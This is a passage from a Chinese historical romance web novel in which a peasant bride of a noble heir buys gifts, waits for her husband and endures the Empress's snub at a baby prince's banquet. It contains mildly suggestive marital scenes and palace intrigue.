“慢着,小桃,世子通常都在书房用膳,你或许该去书房。”方振眼疾手快地叫住了她,朝她指了指书房的方向。 薛含桃犹犹豫豫,最终还是装作没听到,闷着头走开。 那么多人服侍世子,挑鱼刺用不到她的,不过真正的心思只有她自己知道,应对世子太累了,她想歇口气,才能更好地度过夜晚。 方振看着她跑开,皱了皱眉,世子连小桃的狗都不愿意让他亲近,会眼睁睁看着新婚的夫人和旁人一起用膳? 果然,当薛含桃回到用膳的花厅,果儿已经不见了踪迹,取而代之的是另外一个矜贵的身影。 休息了一段时间,崔世子的神色不再像清晨一般可怕,他淡淡瞥薛含桃一眼,让她坐下。 薛含桃默默地走向了有阿凶在的位置,先给阿凶装好饭菜,然后提着心吃起了面前的菜肴。 崔伯翀看她脑袋险些垂到胸前的样子,慢条斯理地挟了一块甜片卷到她的碟子里,柔和地笑着对她道,“慢些吃。” 薛含桃吃着甜甜的面卷,目光忍不住多看了一眼,又看了一眼。 忽冷忽热,一会儿让她畏惧害怕,一会儿又让她感动痴迷,她开始漫无边际地走神,整个人也在不断地拉扯。 世子究竟是个什么样的人?是的,人。 她悄悄地想,若是他不想吃自己就好了,留在自己心目中的他便永远完美无瑕。 可接下来,崔世子就像是故意的,轻描淡写的一句话将她拉回了现实。 他说,“多吃一些,桃子才能长的更为饱满,汁水更加丰沛。” 今晚,他就要再次享用。 第30章 第三十章眼巴巴地等着人归来。 鸡子、木头玩具、饴糖、芝麻、茯苓、针线……薛含桃出府买回了一背篓的东西,将身上仅有的银子花到只剩几个铜板。 她将铜板数了又数,一张脸皱成了苦瓜,靠近定国公府的坊市比她之前住的地方东西贵多了,早知道就多走些路到原先的铺子去买。 不过,想到方大哥说要在申时之前回府,她幽幽地叹了一口气。 来不及的,今天第一次出府还是最好守规矩。 果儿手中提着一包饴糖,看她愁眉苦脸的样子,将花用嫁妆的事情说了出来。 “娘子不只有嫁妆,宫里娘娘送来的金银也可以用。”果儿依旧恨铁不成钢,哪有世子夫人连鸡子都自己去买,还亲自背着的。 “那些,都是要还的。”薛含桃偏头面向果儿,眼中不由自主地流露出对她的羡慕,果儿姐姐什么都不知道真好,果儿姐姐每月还有五两的月例银子。 “没人让娘子还!”果儿反驳。 “你不懂。”薛含桃继续叹气,能少欠一些就少欠一些,到时候她的身板才可以挺直,不然她会永远抬不起头。 无论对着世子,还是对着堂姐。 “就算不用嫁妆和赏赐,娘子也没必要自己背着东西。”果儿看了一眼身后的那些护卫,每一个都身高体壮。 闻言,薛含桃抿着唇,脸颊浮上一层粉,“东西不多,不重,不必劳烦他们。” 还是那个问题,她没钱,村里面让人帮忙都要给些吃的或者铜板,更何况京城这个大地方。 果儿还要再说,薛含桃的目光却已经移到了别的地方。 红艳艳的糖葫芦插在麦草堆成的墩子上,外面晶莹的糖壳无比的诱人。她直勾勾地看了好一会儿,上前小声问了价钱。 “小娘子有眼光,我这里的糖葫芦可是全京城最大最圆的,价钱也不贵,每串收您五文钱。”小贩看到她身上穿的衣裙,眼睛一亮十分热情。 “五文……那就买一串吧。”薛含桃认真地数了五个铜板递过去,深深嗅了一口酸甜的气息,一颗都没有吃,用油纸包好放进背篓里面。 “给我也来一串。”果儿没有在意,以为她是要回府再吃,也出钱买了一串,拿在手中咯吱咯吱地咬着,薛含桃听了一路也闻了一路。 但背篓里的糖葫芦一直到府中都没有动。 阿凶摇着尾巴迎上来,薛含桃打开饴糖,给它冲了一碗糖水。接着便是借用东院的厨房煮红鸡子,还有茯苓芝麻水。 东院的厨房足足有五间,铁锅火灶也有大大小小六个,她自觉占用了最小的一个。 灶上的厨子和婆子看着她熟练掌火烧水的动作欲言又止,想拦不敢说,干看着每个人又都不自在。 最后还是果儿解救了他们,让他们看着火候,时辰到了就熄火。 “夫人喜欢自己鼓捣些吃食,上次做的米糕宫里的贵妃娘娘喜欢极了,你们一个个心里有数就好。”果儿趾高气扬地找补了一通,那些人或多或少地收起了心中的轻视。 这就对了,如果新夫人为了自己使用厨房他们大多瞧不起,但如果为了讨好世子或贵妃等位高权重的人,他们便会觉得新夫人深藏不露,颇有心计。 不远处,方振看到这一幕,找了个人把玉蘅叫了过去。 “从今日起,你与夫人的侍女一同负责内务,夫人的事情她主你副。”方振有心提拔果儿,也好为薛含桃的未来铺路。 玉蘅沉默了几息低声回了句是,她早就做好了心理准备,那个圆脸的侍女会分走她手中的权力。 不过,论资历论人脉论在世子面前的地位,果儿敌不过她。 果儿并不知她已经成了玉蘅心中的对手,她看着自家娘子忙忙碌碌一刻都不得歇,慢慢地也意识到身在国公府的生活好似和她想象的不一样。 “娘子,明日小皇子满月宴,您要和世子一起去,贺礼也要放在一起…吧?”她忍不住询问,若是只有娘子的这些礼物,贵妃娘娘或许觉得不错,但那些妃嫔宫人肯定会在暗中说道娘子穷酸。 “当然放在一起,我晚上会和世子说的。”薛含桃 强装镇定,她知道拼尽全力置办的东西换到京城会被嫌弃,所以想去蹭世子的贺礼。 和他的贺礼放在一起,“夫妻一体”,应该就没人说什么了吧。 听她这么说,果儿放心了,拿走晒干的草席,笑嘻嘻地让大黑狗再陪她一段时日。 “等我认熟了人,找个小丫头到我的房里,就不用阿凶陪着了。” 大黑狗静静地蹲在原地,一双兽瞳中映着自己主人的身影。 “阿凶,你等会儿把茯苓芝麻水喝了,我要先给你缝个被褥,缝好后就放在……放在窗边的角落。” 薛含桃想起了自己睡过的地方,没有和方振提安排房间的事情,只是让他给自己找来了一条书案还有只木箱放在了那里,新的帷幔很快被换上,同样是深色的。 旧的帷幔她决定为阿凶缝一个被褥,温暖柔软,睡起来肯定舒服。 “呜。”大黑狗满意了,跟在果儿的身后视察起了地盘- 新婚的第二日,崔伯翀其实不知道自己的世子夫人出府一事,他去了一趟枢密院。 身为枢密院副使,他有许多事要处理。 其实原本可以歇着撒开手,他越是什么都不做有些人越是放心。 但崔伯翀慢悠悠地翻看着边防部署图,心道要怪就怪那颗干巴巴的桃子,丰县一事牵扯出来,终归打死几只蛆虫,蔡存心中记恨找起了枢密院的麻烦。 “伯翀,幸而你那封奏章呈上的及时,御史台的那几人昨日疯了一般的上折弹劾杨将军等人。求和是他们提的,口口声声金人与我们乃是兄弟之盟,这时候针对杨将军却又说金人凶狠野蛮,不得不防。” 狄恒满眼厌恶,御史弹劾尚未结束,又有隐隐约约的言论传出说边防部署泄露,暗指朝中有人通敌。 一群自诩为国为民的文人,对着外敌骨头软的不行,斗起武将个顶个的厉害。 “狄公勿恼,那群人从来不都是这个德性吗?”崔伯翀掀开茶盖,漫不经心地饮了一口凉透的冰水,“他们弄不出大的幺蛾子,明日小皇子满月,陛下心心念念着立太子一事,朝中有的掰扯。” 至于边防部署,他放下茶盏,笑着看向两鬓发白的上峰,“既然边防部署已然泄露,怎可不能重新布置一番。” 狄恒眯了眯眼睛,“伯翀是想?” “轮换,让韩璞他们重回军中。”崔伯翀拿起边防图,漫不经心地揉成一团。 建朝以来为了提防限制武将,兵权一分再分,一些至关重要的职位甚至让文臣担任,而立下功业的将领们每隔几年还要被打发到鸟不拉屎的地方上,美名其曰陶冶情操。 杨解虽一直在边关军中,但朝中足足设置了三个监察使过去,全都是文臣。 崔伯翀的意思就是要把这三个监察使踢走,然后把韩璞等曾经的将领换回来。 “不错,边防部署那些监察使懂个屁,泄露说不定倒是他们干的。”狄恒眼中精光四射,蔡存找茬,他们也可以顺水推舟把他的人踢出去。 “边防部署出现问题危及朝纲,公只要把太子挂在嘴边,为了小皇子,陛下会答应的。” “伯翀的婚事,想必也是陛下为皇子铺路。” 狄恒迟疑片刻,说出了和杨解一模一样的话,“伯翀,虽然陛下赐婚,你或许不喜,但尽快和你的夫人留下一个孩子。” 成婚那日,狄恒当然也去了,他仗着年纪大些没有避讳还盯着盛装的薛含桃看了好几眼,觉得那姑娘瘦瘦小小的,举止也有些呆愣,估计不讨伯翀的喜欢。 闻言,崔伯翀不可置否地一笑,不说到底是喜还是不喜,是留还是不留。 只是又端起茶杯,饮着冰凉沁骨的水,浇灭忽然体内出现的燥热。 崔伯翀没有忘记,等今日一回去,就可以吃到新鲜的桃子了。 他有些期待口口声声乖巧听话的她会做出什么反应,继续玩起失踪,亦或是笨拙地上前取悦…… “今晚,我请狄公一同用膳吧。” 既然她有些害怕还有些不情愿,那就不能逼的太紧,一松一驰是属于他的仁慈- 傍晚,薛含桃老实坐在花厅里面等着崔世子一同用晚膳,等了快要半个时辰,方大哥告诉她世子正在酒楼与上峰一起。 闻言,薛含桃的身体顿时放松下来,拿起筷子吃的脸颊都鼓起来。 她还让方振也坐下,“太多菜肴了,不吃掉就是浪费,多可惜啊。” 薛含桃和阿凶都挨过饿,见不得美味佳肴被浪费。 方振眼神一暖,告诉她吃不完的饭菜可以赏出去,变相地教导她如何适应规矩众多的内宅。 “这个,这个赏给方大哥,那个赏给果儿姐姐,点心赏给文玑和玉蘅……”她笑了笑,这些自己都没有动过。 “夫人做的很好。”方振这时唤了她夫人,而不是小桃。 少女害羞地摸了摸耳朵,觉得耳朵忽然很热,“其实还是叫我小桃好了,夫人听起来别扭。” 方振失笑,意味深长地回答,“合该如此。世子归来若是知晓我并未改口,怕是要罚我。” 对啊,世子晚上还是要回来的。 薛含桃想到他说的那些话嗓子发干,赶紧舀起甜汤喝掉,默默思索自己要如何做。 夜深了,她不能再随便找个角落躲起来,所以,注定要被吃掉的话,乖巧一些的话世子开心,她也算偿还了恩情。 于是,沐浴过后,又给陶罐浇过水,她忍着羞耻换上一件和新婚之夜区别不大的纱衣。 躺在床榻上,旁边放着一串糖葫芦,眼巴巴地等着人归来。 她还要问,可不可以蹭世子给小皇子的贺礼。【魔蝎小说 mo xie xs .c om】 30-40 第31章 第三十一章“可怜崔世子啊。”…… 薛含桃从来没有在清醒的时候躺过这么舒适柔软的被褥。 像是飘在云朵上,浑身都软绵绵的,她很想入睡,可是眼皮子打架了也不舍得闭上。 她要等着世子归来,等着…… 不轻不重的脚步声靠近,本已经意识模糊的薛含桃反应极快,起身,规规矩矩地跪坐着,一双眼睛紧紧地盯着帷幔上的影子。 高大颀长的身影,能看到两边垂下的宽袖,绶带,以及头顶的发冠。 薛含桃连大气都不敢喘,等待着一只骨节分明的手掌掀开帷幔,可是,影子不动了,像是在静待她的动作。 她的身体呆呆地一动不动,帷幔外似乎传来了一声叹息,听起来不大满意。 反正不是第一次了,反正都已经这样了,反正还有事情请求世子。 薛含桃心一横,自己拉开了帷幔。 她垂着脑袋一眼都不敢看,转过身去乖乖地趴好,纱衣浅薄遮不住苍白的果肉,像是亲自送到他的嘴边。 像是在说,请品尝吧,她不是忘恩负义的人,即便日后厌倦了,也请在这一刻记得她的回报。 崔伯翀原本平静的眼神一下就变了,仿佛猛烈的暴风雨袭来,在湖面掀起阵阵,足以吞噬掉整个人的波浪。 他闭了闭眼睛,唇边缓缓扬起一抹笑意,欣然认可了这颗桃子的识趣乖巧。 轻轻沉沉的笑声传入薛含桃的耳中,微有暗哑,她的耳朵烧的厉害,却只蚊子哼哼地说了一句话。 “那夜是这样的…没…没错的吧?” 话音刚落,她背上的蝴蝶骨猛然一颤,有一只修长的手在上面仔细,来回地抚弄,带来一声悠悠地喟叹,“原来只要有时间这剂良药,不必管它,痕迹也能消下去。” 短短的两日,她恢复如初,只有用力地按下去,一点一点地寻找,才能发现曾经肆虐过这里的风浪。 薛含桃脸庞酡红,使劲地咬着嘴唇,将自己更深,再深一些埋进被褥里面,可还是控制不住逸出两声轻吟。 然后就是悲泣自己逃不掉被吃掉的宿命。 “这是……糖葫芦?”崔伯翀终于发现了榻上小小的油纸包,仿若是翻滚不休的海面上出现的一只贝壳,猝不及防的带来意外之喜。 他放在嘴边咬了一口,酸甜的滋味令他的脸色忽明忽暗,回忆起遥远的从前,短暂自在的岁月中的一点烟火气。 “挺甜。”他的眼神和动作因为这一串糖葫芦 变得温柔起来,给了桃子可以喘息的机会。 有一点遗漏的糖壳掉落下来,薛含桃眼睛雾蒙蒙地回头望去,只看到黑暗中完美的轮廓。 她感觉到了世子愉悦的心情,蜷缩成一团,也跟着弯起嘴角。 明明是笑着的,但在崔伯翀的眼中,她的脸颊边沾着几丝凌乱的碎发,显得可怜兮兮,“可不可以…我们的礼物放在一起?” “什么礼物?”他轻声询问,手臂的肌肉绷紧。 “明日小皇子满月,我们的礼物放在一起。”薛含桃鼻尖泛红,蹭了蹭柔软的绸缎,口齿结巴,“我一个人会…被嘲笑,丢,丢脸。” “哦,所以就要来找我充当场面,”崔伯翀了然,接着语气温和的像是在大发慈悲,“这点小事,我怎么会为难你。” 他说当然可以,届时一同送过去就是了。 闻言,薛含桃心里充满了感激,又说世子真好,努力地睁开眼睛想看清他。 可就是这时,她被无情地镇压,不被允许再抬起头转过来。 不被看到他,也看不到她,果然只能在黑暗中,果然只是一时。 薛含桃感受着掉落的糖壳慢慢融化,闭上眼睛,似乎也品尝到了糖葫芦酸甜的滋味。 不是很甜,但是很酸。 她扯开唇瓣笑一笑,有些迟钝,还有些释然- 而第二天等到了柔仪殿,她脸上的笑容就变成了傻乎乎的,羞涩的。 她的堂姐薛贵妃时隔多日再见她,显然对她十分满意。 薛含桃这一次是以定国公世子夫人的身份进宫的,她的穿着装扮衣服首饰都和从前不可同日而语,可能是因为走路的姿势变慢了,身上居然也多了一股淑女的气质。 袅袅婷婷,像是桃树上尚未绽放的花苞,微风一吹,轻轻地晃动。 薛贵妃夸她方方面面都有了长进,和多年后第一次再见到又黑又瘦的小姑娘相比,气血充盈,模样也大方漂亮了一些。 “阿姐,可能是因为我涂了胭脂,脸颊和唇上都涂了。”她慢慢吞吞地开口,不好意思地给堂姐看自己的脸,不仅有胭脂,还有莹白色的珍珠粉。 果儿按着她梳妆的时候,世子随便看了她一眼,吩咐人从库房拿出了一匣子珍珠,让磨成粉末给她使用。 那么大那么圆的珍珠,磨成粉太可惜太奢侈,给她用得还到什么时候……她惊地抽一口气,急急忙忙拒绝。 结果,他说这是给她应有的奖励。 薛含桃不吭声了,屋中还有其他人在,她怕世子再说下去自己的脸会烫的冒烟。 “珍珠粉,看来崔世子喜欢你,小桃,你做的很好。”薛贵妃从她的脸颊果然找到些莹润的粉末,笑容明媚欣喜。 之前,她还在担心,小桃会被崔世子厌恶,然后憔悴不安地出现在她的面前。 “其实,我知道这不是喜欢,”薛含桃看到堂姐脸上的欣慰,顿了顿,语气有些低落,“世子有时脾气难猜,但他本性仁慈宽和,换个人应该也会这么对待她吧。” 她怎么敢奢望喜欢?自己怎么可能会被世子喜欢?阴差阳错下才缠绕在一起罢了,过错还都在她的身上。 薛贵妃闻言,若有所思地抚着自己的指尖,问了她几个问题,管家的权力在谁的手中,有没有进去过崔世子的书房,还有,崔世子有没有碰过她? “我不知道谁管家,不过我可以出府买东西,鸡子饴糖和玩具都是昨日买的,也可以用厨房。” “世子的书房成婚后没有去过,书房外面有几棵桂花树,我改日做桂花糕给阿姐吃。” “碰…碰过了。” 薛贵妃的每一个问题,她都认真回答了一遍,没有说谎。 薛贵妃也看出了她实话实说没有骗她,惊喜减少了大半,除了最后一句,旁的可以说是噩耗。 “小桃,阿姐跟你说的话,你一定要记得。趁着崔世子现在还喜欢你,你要尽早怀上他的孩子。只有生下一个孩子,你在定国公府的地位才能稳固。” “没有喜欢。”薛含桃结结巴巴,生孩子就更不可能了,她怎么能生世子的孩子。 “这个你拿着。”薛贵妃抬手让胡茵儿给了薛含桃一样东西,她不明所以问这是什么。 “让人动、情的香料,反正是好东西。崔世子若冷落你,你就用一点,一点点他就是知道了,也不会怪罪的。” 对男人而言,怕是会当作情趣。 听清手中的是什么,薛含桃半张开嘴巴,彻底愣住了,稍一回神就想扔掉,只是这时柔仪殿来了人。 她赶紧将精致闭塞的小香球藏进了自己的袖子里面。 “贵妃娘娘,小皇子的满月宴即将开始,您和世子夫人不如过后再叙话。”德昌帝派来的内侍请贵妃和薛含桃移步去宫宴。 “本宫知道了。”薛贵妃点点头,命人为她戴上金灿灿仅逊于皇后的凤冠。 身为皇子的生母,今日她势必隆重出席,任何人都抢不过她的风头。 走出柔仪殿,薛贵妃在宫人的搀扶下坐上了鸾车,明艳端庄,高高在上。 薛含桃默默跟随在鸾车一旁,偶尔望一眼和从前截然不同的堂姐,心里有骄傲,有感激,还有几分怅惘。 堂姐很厉害,小皇子很贵重,她真的可以如堂姐所愿保护小皇子吗? 满月宴设在集英殿,场面异常浩大,德昌帝好不容易得了一个皇子,当然要昭告天下,给皇子最盛的体面。 为了这个皇子,他可以说苦心孤诣,不仅耗费时间精力抹去了薛妃有孕时的音信瞒过所有人,还异常强硬地赐婚,将一个平凡普通的女子嫁给名声最盛的崔世子做正妻。 今日,谁又敢缺席? 薛含桃一路看过来,金碧辉煌,花团簇拥,华服美玉,人头攒动,她的眼睛根本不够用,人也显得十分渺小。 殿中,她第一眼看到了崔伯翀,在一群身着紫袍绛服的臣子中,他俊美年轻,墨睫深眸,气势优雅从容,其他人都成了他的陪衬。 明月之辉,魏紫之容,她只能仰望。 “小桃,过来阿姐的身边,也让这里的其他人认一认你。” 听到堂姐喊她,薛含桃小心翼翼走过去,微微抬眼。 堂姐这边坐有崔皇后,一位慈祥的太妃娘娘,几位高位妃嫔,皇室公主郡主,还有世子的继母曹夫人。 她挺直脊背,端正姿态一一同人见礼,除了曹夫人,因为世子会不高兴。 “这便是定国公世子的夫人?秀气乖巧,眉目有灵,好。”先开口的人是那位老太妃。 接下来附和她的人是妃嫔和宗室郡主们,“是啊,极好。” 崔皇后和曹夫人都没有说话,像是眼中没有她这个人。 见此,薛贵妃露着笑容,让薛含桃又向崔皇后行了一次礼,“小桃嫁给了崔世子,和皇后娘娘也算是一家人,按理喊娘娘一声姑母。” 薛含桃老老实实地再次向崔皇后俯身,低下头。 然而崔皇后根本不理,径直端起茶杯,轻轻地滑一下,似乎她伏下的身影还不如茶水中的一片茶叶有存在感。 薛贵妃咬紧牙根,众人的态度也不知不觉发生变化。 不知何处传来了窃窃私语的声音,“听闻只是一个农女,父母都不在了。” “若非陛下赐婚,她怎么可能进去崔家的门。” “可怜崔世子啊。” 薛含桃瘦小的身躯纹丝不动,是啊,她听到了,是啊,她也觉得自己配不上世子。 第32章 第三十二章桃子也会生气。 薛含桃听着那些话,不知不觉回忆起上午出门时的场景。 宽敞明亮的屋中,铜镜里面的女子脸颊涂上了珍珠粉和胭脂,是好看了一些,她眨了眨眼睛,凑近想要看的更清楚。 这时,一具身躯从她的背后靠近,手指轻轻放在她的下颌,薛含桃感受到那股并不陌生的气息,整个人变成了 一只被牵制的木偶。 身后人拿起一只黛笔随意地在她的眉尾勾勒了一下,淡淡道,“尚有两分韵味。” 是夸奖吗?薛含桃的心中开出了雀跃的小花,之后跟在他身边坐上马车,脑袋也不再垂到胸前。 甚至,她的胆子变大,敢悄悄地对着车窗外面的世界张望。 后来还是那只手,牵着她在宫门处下了马车,很多目光聚集在他们的身上,准确来说是身边男子的脸上。 可能是手上传来的温度给了她勇气,薛含桃对着一些好奇看向她的宫人,友好地笑了笑。 没有在他们的眼中看到轻视,自己也没有给世子丢脸呢。 身处在巍峨的深宫中,慢慢地走着,她难得放松,就连身上被吃掉的酸痛都减轻了不少。 接着便是两个人分开,崔世子去了举办宫宴的集英殿,她则是先到堂姐的柔仪殿。 明明算起来只是和世子分开才小半个时辰,明明她还能回忆起他手指的力度和触感,可是再次见面,他耀眼夺目,她泯然于人群。 还没等到她感受到那点失落,又有一盆冰凉的冷水浇下,彻底湮没她心中的雀跃。 崔皇后的态度,周围人的私语都在提醒她,不要忘了自己的身份,不要忘了这桩婚事究竟是怎么来的。 即便真的好看了一些,即便世子对你的躯体有了两分兴趣,你还是你,一颗发涩的野桃,一株普通的杂草。 薛含桃很想在这里消失,可是崔皇后是母仪天下的国母,堂姐也在一旁看着,她必须维持着俯身行礼的姿态。 一直到皇后满意,一直到嫌弃她的人也觉得无趣。 时间在慢慢流逝,薛贵妃的牙根越咬越紧,体内的愤怒让她恨不得上前撕烂崔皇后那张装腔作势的脸,然而她不能,她根基浅薄,和崔皇后相比,靠的只有皇帝的宠爱。 要忍耐,要等到皇儿地位稳固登上皇位。所以,她无法阻止她的妹妹小桃当众受到的这一场屈辱。 “娘娘,陛下很快就和小皇子一起过来了。您千万不要妄动,奴婢看二娘子还能再撑一会儿。”胡茵儿也低声劝诫薛贵妃不要为薛含桃出头,于公于私,崔皇后都有权力和立场表达她的不满。 只是晾着人让她行礼而已,又没有斥责重罚,薛含桃和薛贵妃但凡对皇后有丁点儿不敬,明日面临的便是如同潮水般的口诛笔伐。 “本宫知道。”薛贵妃深深吸了一口气,脸上重新挂上微笑,好似寺庙里面温柔可亲的菩萨。 转头来她还要恭敬地向崔皇后表示今日的茶汤果然很香。 众人明明白白地看着,这一场无形的交锋明显是崔皇后占了上风,不过是一时还是永远,现在的人谁又知道呢? 老太妃已经颐养天年,少了争斗之心,此时她看向方才夸赞过的小姑娘,目光中不禁浮现些怜悯。 看起来从前像是亏过身体的,也不知能撑多久。宫里磋磨人喜欢用这种法子,看似没什么大不了的,但短短的两刻钟过去,之后可能站都站不起来。 要见薛贵妃已经朝崔皇后服了软,老太妃想着自己要不要开口为这个小姑娘解围,正在她犹豫的时候,与她们隔了些距离的男性位席好似发现了这边的动静,一人起身踱步而至。 老太妃因为年纪太大眼睛有些花了,她只能看出这人的身量极为修长,行走间仪态优雅,即便看不清容貌如何也令人忍不住赞叹一句,风姿独绝。 “怎么跑到这里来了?”薛含桃僵硬麻木的身体被一只手温柔地托起,她的头仿佛不会抬起来了,于是便又听到一声淡淡地嗤笑,他揉捏她的皮肉,用着和上午铜镜之前一模一样的姿势,迫使她仰头看向自己。 少女的脸色苍白,仿若失去了所有的血色,粉红的胭脂也无法遮挡,之前明亮的眼睛一片灰暗。 看到他,她惊惧,躲闪,羞愧,还想继续弯下腰低下头朝着皇后行礼。 崔伯翀漫无经心地捏了捏自己的指骨,一边托着她,一边朝向崔皇后,笑道,“眼下是小皇子的满月宴,姑母若想教导侄儿与侄儿的夫人,理应另寻时机。” 话到最后,那一分不明显的笑意也消失了,他面无表情地盯着崔皇后,“姑母,以为呢?” “确实,不合适。”崔皇后听出他话中的冷意,想到自己这个侄儿不耐时毫不留情的手段,呼吸一滞,神色也有些僵硬。 “不过本宫知道她是伯翀的新夫人,今日见到免不得多打量几眼。如今也看清了,来人,请本宫的侄媳,定国公世子夫人入座吧,席位就安排在本宫身边。”崔皇后若无其事地开口吩咐,直接就想把方才的故意为难略过去。 是啊,她不仅是皇后还是崔伯翀的亲姑母,难道亲侄子还要指责长辈不成? “皇后娘娘厚爱。”曹夫人和几人开口附和,一片其乐融融。 一个农女,嫁给了崔世子,如今又被皇后安排坐在自己身边,如何不是厚爱?便是她的堂姐薛贵妃也无话可说。 可是,崔伯翀的眼中闪过一丝烦躁,态度冷硬地拒绝,“不必了,臣的夫人跟着臣即可。” 他神色漠然,要带薛含桃到自己的席位。 不合规矩,但崔世子语气从容不迫,“夫人与臣是陛下赐婚,稍后等到陛下前来,按照礼数,应该一同上前拜见谢恩。” “是这样的,若不是世子提醒,本宫忙起来差点忘了,小桃要向陛下谢恩。皇后娘娘,小桃要罔顾您的厚爱了。”薛贵妃瞅准时机,立刻启唇,语气含笑,但其中的阴阳怪气也很明显。 “本宫和贵妃一样,竟是也忘了。既然如此,伯翀就将人带过去吧。”崔皇后恍若未觉,微笑同崔伯翀说道。 崔伯翀略略颔首,转身牵着人离开,侧脸的轮廓清晰可见。 然而,仿佛知觉才恢复的薛含桃猛地挣开了他的手,她固执地站回原来的位置,做回原来的姿态,重复说了原来的话,“臣妇拜见皇后娘娘,祝愿娘娘身体安康。” 满堂皆惊,一个农女,她怎么敢? 卑贱的可以被一根手指摁死的她,究竟是故意挑衅,还是蠢笨地不知现在的举动意味着什么。 老太妃的心肝都不由颤了一颤,盯紧了下方瘦小的人影。 其他人则是第一时间往崔皇后的脸上看去,不出意外,此时的皇后娘娘已经破了养气的功夫呈现出一副怒容。 可是,斥责吗?降罪吗?之前还刻意表达了自己的“厚爱”,而且这个农女只是在完成未完成的礼数,何错之有? 崔皇后品尝到了让她难堪又憋屈的滋味,攥紧手心,死死盯着薛含桃。 少女的身躯不动,仿佛一块坚硬的石头。 鸦雀无声。 崔伯翀垂眸看向自己被甩开的手,愉悦、肆意、毫不掩饰地大笑起来,他想起了第一次她拼命地往自己怀里钻的劲头儿。 他惊叹,野桃虽涩但可以保存很久,野草虽贱可风怎么都吹不尽。 伴随着他放肆的笑声,出现的是德昌帝的身影,他的身后小皇子也被宫人抱着。 “这是怎么了?”德昌帝开口询问,众人纷纷跪下行礼,一名内侍低声将事情的原委交代了一遍。 “皇后,这件事便是你做的不对了,朕知道这丫头老实没心眼,你不让她起身,她怎么敢就跟着伯翀离开。”德昌帝对薛含桃这个贵妃妹妹的印象极为深刻,不仅是她第一次觐见时表现出来的笨拙,还有后来何焕归来禀报的那些话语。 实在是叫人不知说什么为好,德昌帝都哑口无言。 所以,得知事情原委后,他的第一反应是责怪崔皇后。薛贵妃的妹妹是皇儿的亲姨母,朴实无华,老实本分,连贵妃的赏赐都哆哆嗦嗦不敢接受还怕他委屈贵妃,明摆着是崔皇后为难她羞辱她,她仍旧要向皇后行礼请安。 再者,德昌帝更加恼怒,婚事是他赐下的,崔皇后此举是不是在质疑他的决定,来打他的脸? “薛氏,你起身吧。朕是天子,朕的话胜过皇后的话。”他冷笑一声,令内侍过去将薛含桃扶起来。 闻言,崔皇后脸色 微变,没有说话。 薛含桃默默地直起身体,转过身,老老实实地又朝德昌帝跪拜。 再次起身的时候,她眼前发黑,差一点晕厥过去,所幸,有人接住了她。 “对不起。”两人坐在同一席上,她声若蚊鸣,向接着自己的男人道了歉。 对不起,她也有愤怒,虽然很不被人在意,但藏在骨头里,特别难受的时候忍不住就冒了出来。 “不,这一次你还是很听话的,没有惹我生气。”崔伯翀俯身凑近她的耳朵,轻轻飘飘地说道。 不仅没有惹他生气,还给了他一个大大的惊喜。 原来平平无奇的野生桃子既可以榨出甜蜜的汁水,也可以很坚硬,硬到咯掉人的牙齿,让人疼痛不止。 “真的…不生气吗?”薛含桃忐忑不安,眼神含着些许泪光。 崔皇后是世子的亲姑母,然后,她还甩开了世子的手。 “不生气,”崔世子悠然点头,挑眉,“不过,你得和我解释一下,此物是什么?” 薛含桃茫然望去,他的掌心赫然是一颗圆圆的香球。 第33章 第三十三章几分哀求。 “小桃,这里头是能让人动、情的香料,只要用一点点,男人不会介意的。” 耳边回响起堂姐笃定的话语,薛含桃再望向那颗精心雕琢的小香球,脑子嗡地一声炸开了。 她慌忙去摸自己的袖子,明明小香球被她藏在里面的暗袋了,何时到了世子的手中? “方才,有人气势汹汹甩开我的手,我只是随手一捞,没想到捞到了一个它,所以,你这么紧张,此物是什么?”崔伯翀捏起了小香球,兴致盎然地放在鼻下嗅闻,甚至他还想尝一尝它的味道。 万一,是能够延年益寿、克服万毒的神丹妙药呢。 “别…别,它是一种香料,不能闻。”看清他的动作,薛含桃心跳骤然停了半拍,急着去拽他的衣袖。 他们现在可是在小皇子的满月宴上,要是世子……她就只能以死谢罪了。 崔伯翀眼眸微眯,兴味不减,问她香料有什么作用。 薛含桃心虚了,羞怯了,避开他的视线,扁着嘴,“香料能熏衣服…我的身上带着一股香气,闻起来…讨人喜欢。” 对,就是这样的,她袖子里藏的香球可以为衣服增香。 “哦,是吗?”崔伯翀平静地将香球收了起来,似乎认可了它的作用没有再继续追问。 薛含桃连自己成功糊弄过去,赔着一张笑脸,为他倒了一杯茶,“皇后和阿姐都说今日的茶汤很香,世子快尝尝。” 她傻傻地将别人刁难她拿出的幌子当作了真的,用来讨好崔伯翀。 “宫宴之上少喝茶水。”可惜,崔世子并不领受她的好意,而是告诉她喝多了茶水容易出丑也容易出事。 深宫之中藏着许多秘密,丑恶的一面比她曾经去过的宴会尤甚,一旦离开了视线,之后还能不能平安回来就要自求多福。 薛含桃被他的描述吓到了,将手中的茶杯推的很远,可怜兮兮地捧着一颗红枣小口小口吃。 红枣可以补气血,她方才差点晕厥一定是缺气血了。 宫里的红枣又大又甜,核还特别小,她接连吃了几颗,心道若是自己去买要花不少铜板呢。 席上的碟子里面不仅有红枣还有蜜橘葡萄等鲜果,她又要去拿红枣,结果,手里被放了剥好的蜜橘。 “这个比枣子更有滋味,也更贵,宫外不常见。”崔世子显然十分了解她,开口随便一句话就拿捏住了她的心思。 薛含桃马上抛弃红枣,吃起了宫外难买到的蜜橘。 崔世子剥着她吃着,倒是将之前被为难被嘲笑的体会遗忘个彻底,眼睛里面的泪光也变成了满足的笑意。 很容易被忽视,也很容易被哄好。 崔伯翀瞥了一眼她鼓鼓的脸颊,指腹微微摩挲,这时殿中传来唱词,他胸腔内的躁动恢复了正常。 “接下来便是给小皇子的献礼。”他淡淡道。 闻言,薛含桃赶紧咽下甜酸的蜜橘,严阵以待,眼睛一眨不眨地盯着不同的贺礼被抬上来。 没多时,宫人就念到了定国公府。先是定国公与曹夫人送的美玉与书画,听着周围的气息,应该是中规中矩。 然后就念到了崔世子的名字还有……她,皇子姨母薛氏。 “敬献,长命锁一对,檀香念珠一串,文房四宝一套,湛卢…剑一柄。”到这里,宫人唱词的语气蓦然间顿住了。 “皇子满月宴,崔世子居然送了一柄剑,不知所谓。”听到崔伯翀送了一柄剑,有人便开始发难,直指崔伯翀居心不良。 一柄锋利的剑,伤到了小皇子怎么是好。 面对指责和德昌帝疑问的目光,崔伯翀不慌不忙地又剥了一只蜜橘,这次他是自己吃了。 看他一派淡定的模样,薛含桃很安心,抿了抿唇,第一次几乎喊着在说话,“湛卢剑,又…又名仁道之剑,《越绝书》有云,出之有神,服之有威。” 这本书她曾经抄过。 